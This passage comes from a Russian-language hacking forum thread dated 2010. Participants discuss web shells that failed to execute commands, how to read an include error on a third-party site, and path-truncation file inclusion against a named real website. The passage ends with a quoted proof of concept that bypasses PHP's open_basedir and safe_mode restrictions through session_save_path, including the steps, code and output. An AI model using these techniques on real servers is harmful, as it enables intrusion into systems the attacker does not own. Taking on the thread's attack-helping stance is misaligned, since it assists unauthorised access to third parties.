её пробовал в первую очередь,
так же пытался на AluCaR shell и Locus7Shell
в Locus7Shell есть альтернативные методы выполненич команд, но и они не сработали
Последний раз редактировалось wwwall; 26.03.2010 в 03:29..
Случайно нашел. Это пхп-инъекция? Вот что в ошибке:
Цитата:
Warning: include(micro_cms_files/config.php) [function.include]: failed to open stream: No such file or directory in /home/theamazi/public_html/microcms-admin-home.php on line 2
Warning: include() [function.include]: Failed opening 'micro_cms_files/config.php' for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php') in /home/theamazi/public_html/microcms-admin-home.php on line 2
Fatal error: Call to undefined function microcms_check_admin_login() in /home/theamazi/public_html/microcms-admin-home.php on line 3
CyberHunter
Нет. это просто ошибка - нет файла config.php. Можешь поискать каталог install/ - может он есть и даст тебе установить эту самую cms. Саму БД при этом вероятно придется указать с другого хоста.
Но, судя по твоему вопросу, тебе это будет не просто.
Не подскажите, почему
http://www.asteroid.ru/user_view.phtml?2034/2/17.phtml[///...///]
Когда вставляю 4036 слешей, то они не отображаются, а когда 4037 то отображаются, да и вообще почему не пашет инклуд? Какие могут быть причины? Из за абсолютного пути?
На счёт этого поста?
http://forum.antichat.ru/showpost.php?p=1023030&postcount=16
Где собственно последовательность?)) И если на линухе 1к символов с копейками, и на Linux 4065, то если ставить допустим 5к символов, то сработает в любом случае и там и там? или сть какие правила?
зы. Я хочу понять как это работает. На указанный сайт мне плевать.
Последний раз редактировалось mental2; 26.03.2010 в 21:32..
session.save_path safe_mode and open_basedir bypass
Код:
EXAMPLES:
1. session_save_path("/DIR/WHERE/YOU/HAVE/ACCESS")
2. session_save_path("5;/DIR/WHERE/YOU/HAVE/ACCESS")
The main problem came when we use multiple ';' character and when we will
create fake directory structure to reduce '../'.
Proof of Concept:
0. Create directories:
/humhum
and
/byp
1. set open_basedir = /byp
2. create test.php
{
session_save_path("/humhum");
session_start();
}
3. php test.php
Warning: session_save_path(): open_basedir restriction in effect.
File(/humhum) is not within the allowed path(s): (/byp) in /byp/test.php on
line 3
4. subdir.php
{
mkdir("puf");
mkdir(";a");
}
5. php subdir.php
6. cd puf
7. create byp.php
{
session_save_path(";;/byp/;a/../../humhum");
session_start();
}
8. php byp.php
9. ls /humhum
sess_d905eb71c9ad65ce2a845cdb0fed3016
The main problem is located in session.c. PHP doesn't check, that we have
used next ';' after first. Creating fake directory structure
mkdir ';a'
mkdir '../;a'
we can reduce directory level using '../' .